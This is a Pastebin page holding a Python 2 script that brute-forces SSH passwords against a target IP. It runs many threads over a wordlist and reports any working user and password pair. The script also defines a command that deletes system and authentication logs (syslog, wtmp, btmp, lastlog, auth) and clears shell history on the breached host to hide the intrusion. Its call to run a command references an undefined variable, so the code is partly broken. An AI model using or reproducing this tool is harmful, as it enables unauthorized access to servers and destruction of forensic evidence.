Advertisement
MR_KR4K3N_3LF

ssh bruteforcer [multi threading]

Mar 9th, 2018
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.80 KB | None | 0 0
  1. import sys
  2. import socket
  3. import paramiko
  4. import os
  5. import random
  6. import time
  7.  
  8. from thread import *
  9. import colorama
  10. from colorama import Fore, Back, Style
  11.  
  12. colorama.init()
  13.  
  14. if len(sys.argv) != 6:
  15.     print "USAGE: %s <target ip> <port> <user(default: root )> <wordlist_file> <thread>"%(sys.argv[0])
  16.     exit()
  17.  
  18. FLAG = ""
  19. JOBS = 0
  20.  
  21. def trying_login(psswd,user,ip,port):
  22.     global FLAG
  23.     global JOBS
  24.     cleanup_cmd = "rm -rf /var/log/syslog && rm -rf /var/log/wtmp && rm -rf /var/log/btmp && rm -rf /var/log/lastlog && rm -rf /var/log/auth.* && cat /dev/null > ~/.bash_history && history -c"
  25.     loop = True
  26.     while loop:
  27.         try:
  28.             ssh = paramiko.SSHClient()
  29.             ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  30.             ssh.connect(ip, port = port,username = user,password = psswd,timeout = 10)
  31.             ssh.exec_command(cmd)
  32.             FLAG = "[+] FOUND: [ %s ] [ %s ]"%(user,psswd)
  33.             ssh.close()
  34.             loop = False
  35.         except paramiko.ssh_exception.AuthenticationException:
  36.             ssh.close()
  37.             loop = False
  38.         except paramiko.ssh_exception.NoValidConnectionsError:
  39.             ssh.close()
  40.         except paramiko.ssh_exception.SSHException:
  41.             ssh.close()
  42.         except socket.timeout:
  43.             ssh.close()
  44.     JOBS -= 1
  45.    
  46. def bruter(f,threads,user,ip,port):
  47.     global JOBS
  48.     for i in f:
  49.         line = i.strip("\n\r")
  50.         loop = True
  51.         while loop:
  52.             if JOBS != threads:
  53.                 print "ssh:%s@%s:%s"%(user,ip,line)
  54.                 start_new_thread(trying_login,(line,user,ip,port,))
  55.                 JOBS += 1
  56.                 loop = False
  57.  
  58. ip = sys.argv[1]
  59. port = int(sys.argv[2])
  60. user = sys.argv[3]
  61. file = sys.argv[4]
  62. threads = int(sys.argv[5])
  63.  
  64. f = open(file,"r")
  65. start_new_thread(bruter,(f,threads,user,ip,port,))             
  66.  
  67. time.sleep(5)
  68. while True:
  69.     if FLAG != "":
  70.         print FLAG
  71.         exit()
  72.         exit()
  73.         exit()
  74.         exit()
  75.         exit()
  76.         exit()
  77.         exit()
  78.         exit()
  79.         exit()
  80.     elif JOBS == 0:
  81.         break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement